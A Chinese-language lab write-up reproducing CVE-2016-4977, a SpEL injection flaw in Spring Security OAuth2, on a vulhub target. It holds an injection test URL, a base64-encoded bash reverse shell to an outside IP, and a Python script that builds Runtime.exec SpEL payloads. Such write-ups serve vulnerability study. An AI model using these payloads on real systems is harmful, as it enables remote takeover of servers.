Spring Security OAuth2-远程代码执行 (CVE-2016-4977)
0x00 前言
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
影响版本:
Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14
利用条件:
知道用户名和密码
0x01 环境搭建
这里使用vulhub漏洞靶场
用户名和密码,admin:admin
0x02 复现步骤
1、访问http://your-ip:8080/oauth/authorize?response_type=${12*2}&client_id=acme&scope=openid&redirect_uri=http://test
可以发现{12*2}表达式的值已经输出
2、利用脚本生成反弹shell的poc
这里要注意:Java反弹shell的限制与绕过方式
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjE1Mi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
poc.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
运行脚本后,生成了一大串SpEL语句
3、将生成的这个SpEL语句填入表达式中,访问成功弹回shell:
0x03 修复建议
1、更新官方最新补丁